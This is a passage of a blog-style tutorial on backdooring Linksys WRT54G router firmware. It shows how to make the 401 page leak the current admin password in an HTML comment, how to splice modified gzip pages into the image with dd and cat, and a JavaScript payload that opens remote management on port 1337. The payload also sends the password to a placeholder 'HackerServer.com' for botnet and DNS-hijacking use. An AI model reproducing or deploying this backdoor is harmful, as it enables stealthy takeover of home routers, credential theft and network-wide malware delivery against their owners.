<BODY><PRE>Last Password : <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>
</PRE></BODY></HTML>

“Unauthorized.htm”:

<HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD>
<BODY BGCOLOR="#cc9999"><H4>401 Unauthorized</H4>
Authorization required.
</BODY></HTML>

You’ll notice this bit in the “lastpassword.htm” file:

<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>

That tag will be replaced with the current router password, so perhaps we will put it in Unauthorized.htm! That way we will always be able to take control of the router regardless of password changes.

Remember, because we’re being paranoid we will ensure the file is the same size as when we started. It’ll be a little bit of a pain due to compression being used on the .htm files, but it’s not too bad.

After a bit of fiddling we end up with:

<HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4>
<!--<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW> -->

After a quick ls we can see the files are exactly the same size:

9699468   12 -rw-r--r-- 144 Oct 18 14:44 Unauthorized.htm.gz
9699467   12 -rw-rw-r-- 144 Oct 18 14:13 Unauthorized_original.htm.gz

Now reference our binwalk data:

1338096         0x146AF0        GIF image data, version "89a", 192 x 64
1340943         0x14760F        gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009
1341087         0x14769F        gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009
1344585         0x148449        gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009

So we’ll cut before and after the original “Unauthorized.htm” file and then we’ll rebuild with cat.

# Cut off first half of firmware right before Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 count=1340943 of=first_half

# Cut out the second half of the firmware right after Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 skip=1341087 of=second_half

# Add our backdoored Unauthorized.htm.gz to the firmware
cat Unauthorized.htm.gz >> first_half

# Put the pieces together
cat second_half >> first_half

Great! Of course we should double check all is consistent but upon rebuilding everything we can go ahead and flash the firmware!

flashing_firmware

I’ll admit the first time I did this I was pretty nervous it wouldn’t work. However it all works out fine (and why wouldn’t it?).

The firmware has been flashed but did it work?

basic_auth_prompt

We simply cancel this dialogue and get the not authorized page:

unauth_page

Upon viewing the source we have the password in cleartext wrapped in HTML comment tags like we specified:

unauth_html_source

Perfect! We now have persistent access to the router in a pretty stealthy way. But this isn’t universal or useful on a larger scale, what if we want a payload that works more like a botnet?

Backdoor

In search of a more universal backdoor we will make this one completely Javascript. Javascript is a good option due to the fact that it is not platform dependent (MIPS assembly payload wouldn’t work on a non-MIPS router etc). It also provides us with enough functionality to change all of the built in setting to whatever we please (via XMLHTTPrequests, etc.). While we won’t be able to preform DoS attacks we will be able to do important things like control the router’s DNS server. Control over the router’s DNS is valuable to malware authors who can use this to do network wide adware/malware attacks. This is because most computers will simply use the DNS that the router chooses, so it’s much more efficient to simply hack the router than all of the individual computers. This sort of attack has already been preformed in the wild by malware like the Zlob trojan, which turned out to be very effective.

So, let’s get to it!

The homepage of the router is the “basic.htm” file, upon logging in the user is immediately directed there. So if we backdoor that page we will have a good level of persistence. We will make a payload that will send the username and password back to our control server and also enable remote authentication on port 1337.

After a bit of Javascript coding and we have something usable:

function evil_payload()
{
    xml = new XMLHttpRequest();
    xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@192.168.1.1/manage.tri');
    var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en";
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.setRequestHeader("Content-length", params.length);
    xml.setRequestHeader("Connection", "close");
    xml.send(params);
    thb = new XMLHttpRequest();
    thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>');
    thb.send();
}

In two requests we will both set remote control and send the username and password back to the botnet server.

Using the same method as before we trim off all excess space and useless HTML (lots of commented out code in the production firmware, it’s pretty horrifying). Then we will pack it back into the firmware (remember: we must ensure the files are the same size).

Another flash and wallah! We have our new backdoored firmware!

router_backdoor

Granted this is just a proof of concept, the real backdoor would probably contact a C&C for further instructions/fresh set of DNS servers.

Much more simple than you’d think, most router firmware that I’ve analyzed can be modified in this same way.

Until next time,

mandatory